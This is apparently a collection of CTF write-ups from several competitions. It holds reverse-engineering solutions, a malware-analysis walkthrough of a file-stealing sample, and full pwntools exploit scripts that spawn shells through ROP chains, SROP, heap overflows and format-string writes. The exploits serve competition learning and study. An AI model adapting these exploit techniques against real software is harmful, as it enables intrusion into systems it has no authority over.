http://a0305e414660cbe848025.playat.flagyard.com/login
{
    "username": "diefunction",
    "firstname": "dot",
    "lastname": "pep",
    "password": "🙂🙂"
}
BHFlagY{b62d7e85343a27715664fd81997bdfa9}
```


# Reverse engineering - light up the server

## **Solution**

### **After Analyzing the server in IDA Pro and Flare CAPA**

<figure><img src="/files/HWrUxmJBgsDklFd5wDFs" alt=""><figcaption><p>Flare capa</p></figcaption></figure>

**The rule detected a regex as obfuscated stack strings**

```
/^([a-z]?[^a-e,g-z])la[g]{(h)0(s)t_\2(e)4d\4(r([_]?[^a-z]))(!)n((j(3))cti0)n(_)1s\6{1}5up3\5c3wl}$/gm
```

### Finding a match string via regex101

<figure><img src="/files/j8sN6EolnckITeZRntuh" alt=""><figcaption><p>Match flag</p></figcaption></figure>

### The Flag

```
flag{h0st_he4der_!nj3cti0n_1s_5up3r_c3wl}
```


# BlackhatMEA Finals 2024


# PWN

## CRC32

```python
from pwn import *

executable = './crc32'

elf = context.binary = ELF(executable)

io = None


def findByte(crc32_table, target):
    for i in range(0, 255):
        result = i ^ -1
        result = result * 4
        result = result + crc32_table
        if result == target:
            print(f'[Found] byte: {hex(i)}')
            return i

def getHash(byte):
    io.recv(0x8)
    io.sendline(chr(byte).encode())
    return int(io.recvline().decode().replace('CRC32: ', '').strip(), 16)


def execute(gadgets):
    io.recv(0x8)
    # 264 is the offset to return address
    io.sendline((b'A' * 264) + gadgets)
    io.recv(0x8)
    io.sendline(b'\n')

def exploit():
    input('[Debug] Press Enter to continue ...')
    
    # LEAK libc
    
    # 0x3FB8 setbuf_ptr
    byte = findByte(crc32_table = 0x4020, target = (0x3FB8))
    value = getHash(byte)
    libc_base = value ^ ((0xFFFFFFFF >> 8))

    byte = findByte(crc32_table = 0x4020, target = (0x3FB8 + 4))
    value = getHash(byte)
    libc_base |= (value ^ ((0xFFFFFFFF >> 8)) ) << 32
    libc_base = libc_base - 0x8f740 # setbuf offset

    print(f'[LIBC] {hex(libc_base)}')

    # ROPGadget libc
    gadgets = p64(libc_base + 0x10f75b) # pop rdi | rdi ptr to /bin/sh
    gadgets += p64(libc_base + 0x1cb42f) # /bin/sh
    gadgets += p64(libc_base + 0x1ab1f7) # xor rax | rax = 0
    gadgets += p64(libc_base + 0xe0f53) # esi = rax |  esi = 0
    gadgets += p64(libc_base + 0xdd237) # pop rax | rax = execve address
    gadgets += p64(libc_base + 0xeef30) # execve
    gadgets += p64(libc_base + 0x116114) # xor edx, edx ; call rax | edx = 0 , call execve
    
    execute(gadgets)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)
```

{% file src="/files/vfedr1Ykg8KYiG8wo8R5" %}

## UNION

```python
# docker container run --rm --name pwn -it ubuntu:24.04@sha256:5d070ad5f7fe63623cbb99b4fc0fd997f5591303d4b03ccce50f403957d0ddc4 /bin/bash

# docker container cp please:/lib/x86_64-linux-gnu/libc.so.6 .
# docker container cp please:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

from pwn import *
from struct import pack, unpack

executable = './chall'
libc = './libc.so.6'
ld = './ld-linux-x86-64.so.2'
env = {
    'LD_PRELOAD': libc
}

libc = ELF(libc)
elf = context.binary = ELF(executable)
io = None

def new(data, datatype):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Type (1=String / 2=Integer): ', str(datatype).encode())
    
    if not isinstance(data, str):
        io.sendlineafter(b'Data: ', str(data).encode())
    else:
        io.sendlineafter(b'Data: ', data.encode())

def edit(data):
    io.sendlineafter(b'> ', b'2')  # Choose EDIT
    
    if isinstance(data, int):
        io.sendlineafter(b'Data: ', str(data).encode())
    elif isinstance(data, bytes):
        io.sendlineafter(b'Data: ', data)
    else:
        io.sendlineafter(b'Data: ', data.encode())

def show():
    io.sendlineafter(b'> ', b'3')
    return io.recvline().replace(b'Data: ', b'')

def wptr(ptr):
    new('', 144115196665790466)
    edit(ptr)

def rptr():
    new('', 144115196665790466)
    return int(show().rstrip().decode(), 10)

def pread(ptr):
    wptr(ptr)
    new('', 144115196665790465)
    return show()

def pwrite(ptr, value):
    if not isinstance(value, int) and len(value) > 20:
        print('Maximum data to write is 20 bytes')
    wptr(ptr)
    new('', 144115196665790465)
    edit(value)

def debug():
    input('[Debug] Press Enter to continue ...')

def exploit():
    debug()

    print('Try to get pointers exposed on heap')
    for i in range(8):
        new("A" * 32, 1)

    for i in range(8):
        new("B" * 128, 1)

    for i in range(8):
        new("C" * 256, 1)  

    print('Calculate LIBC base address')
    libc.address = u64(pread(rptr() - 0xba0).rstrip().ljust(8, b'\x00')) - 0x203b20
    print(f'[+] LIBC base address : {hex(libc.address)}')

    stackAddr = u64(pread(libc.sym['environ']).rstrip().ljust(8, b'\x00')) - (0x8 * 38)
    
    # ROPGadget libc
    gadgets = []
    
    gadgets.append(p64(libc.address + 0x10f75b)) # pop rdi | rdi ptr to /bin/sh
    gadgets.append(p64(libc.address + 0x1cb42f)) # /bin/sh
    gadgets.append(p64(libc.address + 0x10f759)) # pop rsi ; pop r15 ; ret | rsi = 0
    gadgets.append(p64(libc.sym['environ']))
    gadgets.append(p64(libc.address + 0xeef30)) # execve
    gadgets.append(p64(libc.address + 0x2a261)) # call r15 | call execve

    for gadget in gadgets:
        pwrite(stackAddr, gadget)
        stackAddr += 8

    input('Interactive ...')
    io.sendlineafter(b'> ', b'4')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    # io = process([ld, executable], env=env)
    io = process(executable)
    
    exploit()

if __name__ == '__main__':
    # local()
    host = '127.0.0.1'
    port = '5000'
    srv(host, port)
```

{% file src="/files/W8esjT9nH58pEHmGV3uL" %}

## Readfile

```python
from pwn import *

executable = './readfile'

elf = context.binary = ELF(executable)

io = None

def exploit():
    input('[Debug] Press Enter to continue ...')

    # File
    flag = b'./flag.txt'
    io.sendlineafter(b'File: ', flag)

    # Content length
    size = 22
    io.sendlineafter(b'Size: ', str(size).encode())

    # Get content
    msg = io.recvuntil(b'Content:\n')

    msg = io.recvline()
    print(msg)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)
```

{% file src="/files/1QVxggWqG6sg1nDo8yEp" %}


# BITSCTF - Reverse Mishap

## Reversing Mishap

### Points

PTS 500

### Description

I set out to create a brutal Reverse Engineering challenge for this CTF using Deepseek. It delivered… a little too well. Now there’s so much randomness in the code that even I can’t reverse it to recover the flag. 💀

### Flag

```
BITSCTF{i_guess_t3xt_f1les_h3v3_m3tad4ta_as_W3ll_451a587f}
```

### Download

{% file src="/files/SkizNJ6P5F2Q26Xbd9uP" %}

### Quick Writeup

#### Rust version

<figure><img src="/files/EiQwbIMsS0x4y7nanfmF" alt=""><figcaption><p>Rust commit hash</p></figcaption></figure>

the commit hash **051478957371ee0084a7c0913941d2a8c4757bb9** belongs to release **1.80.0**&#x20;

#### Identifying libraries

Using strings i found the binary are using this libraries

<figure><img src="/files/bGddxybSYr5mY2VqUXtN" alt=""><figcaption><p>Seach for index.crates.io</p></figcaption></figure>

Create a Cargo.toml file to use same depencies with same version

<pre class="language-rust"><code class="lang-rust">[package]
name = "demo"
version = "0.1.0"
edition = "2021"

[dependencies]
rand_core = "0.6.4"
rand_chacha = "0.3.1"
generic-array = "0.14.7"
cipher = "0.4.4"
aes = "0.8.4"
ppv-lite86 = "0.2.20"
<strong>rand = "0.8"
</strong></code></pre>

#### Flare capa - Information

The Capa information will be used when crafting a Rust application, which we will use to generate a signature.

<figure><img src="/files/nBZ4srAlVP4ge5ABZp5W" alt=""><figcaption><p>Extract information</p></figcaption></figure>

#### Deepseek

The challenge description mentioned Deepseek, so I used Deepseek R1 to generate a Rust application with the same library versions and Flare-Capa information. Two or three examples were used while trying to utilize all possible methods. [**(You can use the Solver code to be used as example).**](#solution)

#### Build the example And Make Signature

```
cargo build
```

Load the demo binary in IDA and create Sig file.

<figure><img src="/files/5IDhL7S1woLrnmLWsuC1" alt=""><figcaption><p>Produce Signature</p></figcaption></figure>

#### Applying the signature

Load the signature to identify functions

<figure><img src="/files/3vgzQyL6kVk5BroPoz6k" alt=""><figcaption><p>Load signature</p></figcaption></figure>

<figure><img src="/files/5aTTVi1O7bNxHH2OGOJs" alt=""><figcaption><p>Decompiled main</p></figcaption></figure>

#### Solution

After recognizing all the functions used by the program's main function, use Deepseek again to find a solution to retrieve the flag by sending the decompiled code to Deepseek.

```rust
// Found flag with timestamp 1738793904: BITSCTF{i_guess_t3xt_f1les_h3v3_m3tad4ta_as_W3ll_451a587f}
use std::fs::File;
use std::io::Read;

use aes::Aes256;
use cipher::{BlockDecrypt, KeyInit};
use generic_array::GenericArray;

// from rand 0.8+ 
use rand::rngs::StdRng;
use rand_core::{RngCore, SeedableRng};

fn main() {
    // Read encrypted file
    let mut ciphertext = Vec::new();
    let mut file = File::open("flag.txt").expect("File open failed");
    file.read_to_end(&mut ciphertext).expect("Read failed");

    // If the puzzle code uses a 64-bit seed (u64) for `StdRng`, do the same:
    // exiftool flag.txt # File Modification Date/Time     : 2025:02:06 03:48:24+05:30
    // date --date="2025-02-06 03:48:24 +0530" +"%s" # 1738793904
    let release_time: u64 = 1738793904;

    // Adjust if you want
    let window = 0;  

    for secs in (release_time.saturating_sub(window))..=(release_time.saturating_add(window)) {
        
        // 1) Initialize "standard RNG" from the puzzle's timestamp
        let mut rng = StdRng::seed_from_u64(secs);

        // 2) Derive AES-256 key
        let mut key = [0u8; 32];
        rng.fill_bytes(&mut key);

        // Debug
        // println!("Trying timestamp {:X} with AES key = {:02X?}", secs, key);

        // 3) Decrypt using AES-256 ECB
        let mut data = ciphertext.clone();
        let cipher = Aes256::new(GenericArray::from_slice(&key));
        for chunk in data.chunks_mut(16) {
            cipher.decrypt_block(GenericArray::from_mut_slice(chunk));
        }

        // 4) Check for a "BITSCTF{...}" pattern
        if let Some(end) = data.iter().position(|&b| b == b'}') {
            if data.starts_with(b"BITSCTF{") {
                let flag = &data[..=end];
                if let Ok(flag_str) = std::str::from_utf8(flag) {
                    println!("Found flag with timestamp {}: {}", secs, flag_str);
                    return;
                }
            }
        }
    }

    println!("Flag not found in time window");
}
```


# Cybernights 2025

{% embed url="<https://x.com/flagyard/status/1893716804398117091>" %}


# REVERSE

## R0ll

{% embed url="<https://github.com/Diefunction/dumbemu>" %}

```bash
python3 -m pip install dumbemu
```

<pre class="language-python"><code class="lang-python"><strong>from dumbemu import DumbEmu
</strong>
BINARY = 'R0ll.exe'

CRYPT_FUNC = 0x1400010E0

FLAG = {
    'prefix': b'FlagY{',
    'suffix': b'}',
    'charset': b'0123456789abcdef'
}

FLAG_LEN = 39

KEY = b'fbec495785a8bcf346b'
KEY_LEN = len(KEY)

if __name__ == "__main__":
    emu = DumbEmu(BINARY)
    
    key = emu.malloc(KEY_LEN)
    flag = emu.malloc(FLAG_LEN)
    
    emu.write(key, KEY)
        
    while len(FLAG['prefix']) &#x3C; FLAG_LEN - 1:
        for c in FLAG['charset']:
            
            _flag = FLAG['prefix'] + bytes([c])
            _flag = _flag.ljust(FLAG_LEN, b'X') + FLAG['suffix']
            
            emu.write(flag, _flag)
            
            args = [flag, key, 0, KEY_LEN]
            result = emu.call(CRYPT_FUNC, None, *args)
            
            if emu.regs.read('r9') > len(FLAG['prefix']):
                FLAG['prefix'] += bytes([c])
                print(f"[+] Current Flag : {FLAG['prefix'].decode()}")
                if emu.regs.read('rax') == 1:
                    break
                break
    print(f"[+] Final Flag: {FLAG['prefix'].decode()}}}")
</code></pre>


# PWN

## SigHacked

```python

from pwn import *

context.binary = elf = ELF('./chall')
p = process('./chall')


# Leak buffer address and calculate ELF base
p.recvuntil(b'We will store here ')
buffer_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f'Buffer address: {hex(buffer_addr)}')

p.recvuntil(b'in menu ')
menu_addr = int(p.recvuntil(b',', drop=True), 16)
elf.address = menu_addr - 0x129E
log.info(f'ELF base address: {hex(elf.address)}')

binsh = b'/bin/sh\x00'
syscall_ret = elf.address + 0x1605
# Construct SROP payload
frame = SigreturnFrame()
frame.rax = 0x3B            # execve syscall number
frame.rdi = buffer_addr   # address of '/bin/sh'
frame.rsi = 0             # argv = NULL
frame.rdx = 0             # envp = NULL
frame.rip = syscall_ret   # syscall instruction after frame

# Add first student with shellcode in name
p.sendlineafter(b'Enter your choice: ', b'1')
p.sendlineafter(b'Enter student name: ', binsh + (b'A' * (50 - len(binsh)))) # buffer_addr contains our /bin/sh
gadgets = p64(elf.address + 0x1604) # pop rax; syscall
gadgets += p64(0xF) # syscall execve

p.sendlineafter(b'Enter student degree: ', (b'B' * 0xFE) + gadgets + bytes(frame))

p.sendlineafter(b'Enter your choice: ', b'3')

p.interactive()
```

### HouseOfNothing

```python
from pwn import *

executable = '/home/ubuntu/Desktop/house/chall'
context.binary = elf = ELF(executable)

io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(msg)

def choice(num):
    """
    0. Hidden MSG
    1. Add Idea
    2. Delete Idea
    3. Show Idea
    4. Exit
    > 
    """
    io.sendlineafter(b'> ', str(num).encode()) 

def elf_address():
    choice(0)
    msg = io.recvline()
    
    temp = msg[0x31:]
    func = temp[:temp.find(b' ')]
    
    return int(func, 16) - 0x1283

def add_idea(idx, data):
    choice(1)
    
    io.sendlineafter(b'Enter index (0-9): ', str(idx).encode())
    io.sendlineafter(b'Enter your idea: ', data)

def delete_idea(idx):
    choice(2)

    io.sendlineafter(b'Enter index to delete: ', str(idx).encode())

def print_idea(idx):
    choice(3)
    
    io.sendlineafter(b'Enter index to view: ', str(idx).encode())
    msg = io.recvline()
    print(msg.decode())

def quit():
    choice(4)

def exploit():
    debug('[*] Starting exploit')
    
    # Exploit
    elf.address = elf_address()
    print(f'[+] ELF BASE: {hex(elf.address)}')

    
    # print_flag function ptr
    flag = elf.address + 0x1269
    
    add_idea(0, b'A' * 64)
    add_idea(1, b'B' * 64)
    delete_idea(0)

    # Heap Overflow
    payload = b'C' * (64 + (8 * 3))
    payload += p64(flag)
    payload += p32(0x0)

    # Overwrite print_idea function
    add_idea(0, payload)
    
    debug('[*] Triggering function pointer overwrite...')
    print_idea(1)

    debug('[*] Done.')
    io.interactive()

def local():
    global io
    
    io = process(executable)

    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()

    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
    
```

<figure><img src="/files/HFkC6hOTNpe2dcNrVHzs" alt=""><figcaption><p>Struct</p></figcaption></figure>

<figure><img src="/files/kQYWnCVDpiY9dhJPyZhR" alt=""><figcaption><p>Main</p></figcaption></figure>

<figure><img src="/files/cV6TquZ4AZWelYCyKfsq" alt=""><figcaption><p>Leak function</p></figcaption></figure>

<figure><img src="/files/X6DAzNUbwATNng2CIK9W" alt=""><figcaption><p>Add idea</p></figcaption></figure>

<figure><img src="/files/BhSqsgkVb9VlFZNTVrNb" alt=""><figcaption><p>delete idea</p></figcaption></figure>

<figure><img src="/files/XtT630wxRdKu7BloNuvy" alt=""><figcaption><p>call func from heap</p></figcaption></figure>

<figure><img src="/files/JgKnvM8bN3PNVYq3L3Rv" alt=""><figcaption><p>print flag</p></figcaption></figure>

### Subo

```python
from pwn import *
EXECUTABLE = './chall'
LIBC = './libc.so.6'
context.binary = elf = ELF(EXECUTABLE)
libc = ELF(LIBC)
io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b printf
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    """Pause execution for debugging."""
    if isDebug and not disabled:
        input(msg)

def set_username(username):
    """Set the username by sending the -u command."""
    io.sendlineafter(b'Enter command: ', b'-u ' + username)

def run_shell_as_user(username):
    """Send the -s command to attempt running a shell as the specified user."""
    set_username(username)
    io.sendlineafter(b'Enter command: ', b'-s')
    msg = io.recvuntil(b'.')
    return msg

def format_write(value, addr, offset = 37, padding = 197):
    """
    Create a format string payload to write a 2-byte value using %hn.
    
    Parameters:
    - value: The 2-byte value to write.
    - addr: The memory address to write to.
    - offset: The number of characters printed before writing.
    - padding: The total payload size to ensure correct alignment.
    """
    junk = b'A'
    payload = b'%c' * offset
    payload += f'%{value - offset}c%hn'.encode()
    payload = payload.ljust(padding, junk) + p64(addr)
    run_shell_as_user(payload)

def format_leak(offset):
    """
    Leak a memory address using a format string vulnerability.
    
    Parameters:
    - offset: The position in the format string output where the address appears.
    
    Returns:
    - The leaked address as an integer.
    """
    username = b'%c' * offset + b'%p'
    msg = run_shell_as_user(username)
    msg = msg.replace(b'Error: User ', b'').replace(b' not found.', b'')
    value = int(msg.split(b'0x')[1].split()[0], 16)
    return value

def exploit():
    debug('[*] Starting exploit', disabled = True)
    
    # Leak Stack address
    stack_addr = format_leak(6)
    print(f'[+] Stack address: {hex(stack_addr)}')

    # LIBC base address
    libc.address = format_leak(2) - 0x114887
    print(f'[+] LIBC base: {hex(libc.address)}')

    # ELF base address
    elf.address = format_leak(10) - 0x18E9
    print(f'[+] ELF base: {hex(elf.address)}')

    # execute_command_as_user+0x14F0
    # mov     rax, [rbp+command]
    rbp_command = stack_addr + 0x5f0  # Offset 0x5f0 is determined from the leaked stack address in a debugger for [rbp+command]
    
    # Address of '/bin/sh' in libc
    binsh_ptr = next(libc.search(b'/bin/sh\x00'))
    print(f'[+] LIBC binsh: {hex(binsh_ptr)}')
    
    # Write to [rbp+command] the address of "/bin/sh"
    format_write(binsh_ptr & 0xFFFF, rbp_command)
    format_write((binsh_ptr >> 16) & 0xFFFF, rbp_command + 2)
    format_write((binsh_ptr >> 32) & 0xFFFF, rbp_command + 4)
    print(f'[+] [rbp+command] on the stack points to the "/bin/sh\\x00" address.: {hex(rbp_command)}')
    
    # run_shell_as_user+0x1577
    # retn
    ret_addr = stack_addr - 0x218 # 0x218 is the return address offset, determined from stack analysis in a debugger. 
    print(f'[+] Return address: {hex(ret_addr)}')

    # The address to call system: mov rax, [rbp+command] | mov rdi, rax | call _system | execute_command_as_user+0x14F0
    system = (elf.address + 0x14f0) & 0xFFFF
    format_write(system, ret_addr)
    
    io.interactive()

def local():
    global io
    
    io = process(EXECUTABLE)
    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()
    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
```


# BYUCTF 2025

{% embed url="<https://ctftime.org/event/2715/>" %}


# PWN

### Game of YAP

#### Exploit

```python
# docker container run -it ubuntu:24.04@sha256:3afff29dffbc200d202546dc6c4f614edc3b109691e7ab4aa23d02b42ba86790 /bin/bash
# docker cp ubuntu:/lib/x86_64-linux-gnu/libc.so.6 ./libc-24.04.so
# docker cp ubuntu:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ld-24.04.so
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'env LD_PRELOAD=./libc-24.04.so ./ld-24.04.so ./game-of-yap'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--libc', action='store_true', help='Use libc and linker for local testing')
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './game-of-yap'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

libc = None
ld = './ld-24.04.so'
env = {
    'LD_PRELOAD': None
}

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def chance(data):
    io.sendafter(b"...\n", data)

def exploit():
    global libc
    
    libc = ELF(libc) 
    
    debug('Calculating ELF base')
    
    junk = b'A' * 0x108 # offset to return address

    # Leak Play function address
    payload = flat([
        junk,
        p8(0x80)  # 1280 yap function
    ])
    chance(payload)
    
    elf.address = int(io.recvline().decode().rstrip(), 16) - elf.symbols['play']
    log.success(f'ELF base: {hex(elf.address)}')
    
    # Return to main
    payload = flat([
        junk,
        elf.symbols['main']
    ])
    chance(payload)
    
    debug('Calculating LIBC base')
    
    payload = flat([
        junk,
        elf.address + 0x1247,  # call putschar, after call the rsi = libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in nothing
        elf.address + 0x128A,  # printf('%p', rsi) to leak libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in yap
        elf.symbols['main'],
    ])
    chance(payload)
    io.recvline() # for putchar
    
    libc.address = int(io.recvline().rstrip(), 16) - libc.symbols['_IO_2_1_stdout_'] - 0x83
    log.success(f'LIBC base: {hex(libc.address)}')
    
    debug('Execute execve')
    
    rop = ROP(libc)
    
    payload = flat([
        junk,
        rop.find_gadget(['pop rdi', 'ret'])[0],
        next(libc.search(b"/bin/sh\x00")), # rdi = "/bin/sh"
        rop.find_gadget(['pop rsi', 'ret'])[0], 
        0, # rsi = 0
        libc.address + 0xb502c,  # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
        0, # rdx = 0
        0,  # rbx = 0 (doesn't matter)
        0,  # r12 = 0 (doesn't matter)
        0,  # r13 = 0 (doesn't matter)
        0,  # rbp = 0 (doesn't matter)
        libc.symbols['execve']
    ])
    chance(payload)
    debug('Finished')

    io.interactive()

def local():
    global io, libc, env
    log.info('Starting local exploit')

    if args.libc:
        libc = './libc-24.04.so'
        env['LD_PRELOAD'] = libc
        io = process([ld, executable], env=env)
    else:
        libc = './libc.kali.so'
        io = process(executable)
    
    exploit()

def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')
    libc = './libc-24.04.so'
    io = remote(ip, port)
    exploit()
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()
```

#### Challenge files

{% embed url="<https://github.com/BYU-CSA/BYUCTF-2025/tree/main/pwn/game-of-yap>" %}

### Minecraft Youtube

#### Exploit

```python
# echo -n 'THC{HelloWorld}' > flag.txt
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'./minecraft'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './minecraft'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def menu(option):
    io.sendlineafter(b'6. Leave\n', option)

def username(name):
    io.sendafter(b'Please go ahead an type your username now: \n', name)

def register(name):
    menu(b'1')
    username(name)

def collect(first, last):
    while True:
        menu(b'3')
        resp = io.recvline()
        if b'Please input your first and last name:\n' in resp:
            io.send(first)
            io.send(last)
            break

def logout():
    menu(b'5')
    io.recvuntil(b'. \n')
    
def keycard():
    menu(b'4')
    resp = io.recvline()
    if b'take this key card' in resp:
        log.success('Successfully got keycard!')
        return True
    else:
        log.failure('Failed to get keycard - exploit didn\'t work!')
    return False

def flag():
    menu(b'7')
    

def exploit():
    username(b'AAAAAAAA')
    collect(b'BBBBBBBB', b'CCCCCCCC')
    
    menu(b'3') # trigger free chunk

    register(b'DDDDDDDD') # user and nametag global vars points to the same chunk
    collect(b'E' * 8, b'F' * 8) # free chunk and overwrite uid

    if keycard():
        flag()
        io.recvline() # drop loki msg
        log.success(f'Flag: {io.recvline().decode().rstrip()}')
        return True
    return False

def local():
    global io
    log.info('Starting local exploit')
    
    exploited = False
    while not exploited:
        try:
            io = process(executable, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: {e}')
        finally:
            try: io.close()
            except: pass
    
def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')

    exploited = False
    while not exploited:
        try:
            io = remote(ip, port, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: incorrect seed')
        finally:
            try: io.close()
            except: pass
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()
```

#### Challenge files

{% embed url="<https://github.com/BYU-CSA/BYUCTF-2025/tree/main/pwn/minecraft_youtube>" %}


# CyberYard 2025

فعّالية بمناطق تفاعلية وتحديات سيبرانية لتمكين المواهب والكفاءات بالمهارات والقدرات في الأمن السيبراني

{% embed url="<https://cyberyard.tuwaiq.edu.sa/>" %}


# REVERSE

## MouseTrap

### Description

APT27 targeted us and something was leaked can you help and identify what was leaked ?

### Goal

Decrypt the PCAP traffic to retrieve the flag.

### **Challenge**

{% file src="/files/UscEJCLRQQvEqmdDHBMW" %}

### **Static Analysis (IDA)**

Load `MouseTrap.exe` into IDA.

#### **Main function**

<figure><img src="/files/hMtSd96n8n3QpyJ3Nr6c" alt=""><figcaption></figcaption></figure>

#### **Anti-debugging**

* The calls `CreateDesktopA("LuckyMouse")` and `SwitchDesktop` move the process to a private desktop, which blanks your screen and hides any UI on a black/empty desktop.
* The call `NtSetInformationThread(..., 17)`, an anti-debug tactic that blocks first-chance exceptions and debugging events from reaching WinDbg/IDA.

To debug and analyze, I `NOP`’d these anti-debug sections.

#### **Patched version**

<figure><img src="/files/VgEIQcfKrOSufruripoE" alt=""><figcaption></figcaption></figure>

### **Dynamic Analysis (Procmon)**

#### **Setup**

* Configure Procmon to monitor **MouseTrap.exe**.

<figure><img src="/files/MIHl6l7tolBF9VtD3XWd" alt=""><figcaption></figcaption></figure>

#### **Findings**

* Run the malware

<figure><img src="/files/58TRp7Nzb0TfkZFbaDPB" alt=""><figcaption></figcaption></figure>

The malware tries to open `C:\creds.txt`. If it doesn’t exist, it exits.

* Create **C:\creds.txt** and run again

<figure><img src="/files/jUrixCFkDl4KZEaBs5wl" alt=""><figcaption></figcaption></figure>

* Run the malware again

<figure><img src="/files/nbf628VyBCrzZ8CrU4BF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yA7ezVOwM4cpT4WkaUWB" alt=""><figcaption></figcaption></figure>

The malware reads the file via `ReadFileEx`, encrypts the content, and attempts to connect to `127.0.0.1:13337` to send the encrypted data (the same traffic seen in the PCAP).

### **Dynamic Analysis (IDA/WinDbg)**

#### **Catching the crypto**

* Initial setup

Set a breakpoint on `kernel32!ReadFileEx`, continue, and configure the debugger not to break on exceptions.

<figure><img src="/files/hUhUHXFMKkFUsA9OVGuC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Nv2FoH3YpftzsUMekkNh" alt=""><figcaption></figcaption></figure>

* After resuming execution, the **ReadFileEx** breakpoint triggered.

<figure><img src="/files/JOwpTpzFVpLRsMsCfV61" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QodZKtiSHH9L17JGNLxm" alt=""><figcaption></figcaption></figure>

Based on the stack arguments, **lpBuffer** is **0x005853B0** in `.data` (`dword_5853B0`); **0x005853B0** holds the content.

* Set a hardware read breakpoint on `dword_5853B0` and continue.

<figure><img src="/files/rftaSNXAbcnsp9r1ZXiI" alt=""><figcaption></figcaption></figure>

* A read triggers inside a routine at `sub_401000` function (Encryption)

<figure><img src="/files/DCHVnpybKQI9I3BKUsJu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4N36jNZQ2WH8wyDKeiHW" alt=""><figcaption></figcaption></figure>

### **Identifying the algorithm**

* Search the constants used by the routine

<figure><img src="/files/1UFIxEz4PICmb81KfuoR" alt=""><figcaption></figcaption></figure>

Searching these leads to [**SPC**](https://github.com/chsjiang/spc) (a tweakable Lai-Massey block cipher using a SipHash-like core). The implementation matches the public reference (SPC over 64-bit words, 128-bit key, 128-bit block, 56-bit tweak folded into a 64-bit word).&#x20;

### **Decrypt the PCAP Traffic**

* I reproduced the SPC round function in Python via **GPT 5** and used the key/tweak lifted from .data section.
* Export the TCP stream from the PCAP as hex and feed it to the script to obtain the plaintext.

<figure><img src="/files/u0ml5uZbD9yKnW1eK4hp" alt=""><figcaption></figcaption></figure>

#### **Script**

```python
# solution.py
from binascii import unhexlify, hexlify

MASK64 = (1 << 64) - 1

def rotl(x, b): return ((x << b) & MASK64) | (x >> (64 - b))

def sipround(v0, v1, v2, v3):
    v0 = (v0 + v1) & MASK64
    v1 = v0 ^ rotl(v1, 13)
    v0 = rotl(v0, 32)
    v2 = (v2 + v3) & MASK64
    v3 = v2 ^ rotl(v3, 16)
    v0 = (v0 + v3) & MASK64
    v3 = v0 ^ rotl(v3, 21)
    v2 = (v2 + v1) & MASK64
    v1 = v2 ^ rotl(v1, 17)
    v2 = rotl(v2, 32)
    return v0, v1, v2, v3

def sha4(round_i, k0, k1, tw, X):
    v0 = 0x50726f736563636f ^ k0
    v1 = 0x43686f636f6c6174 ^ k1
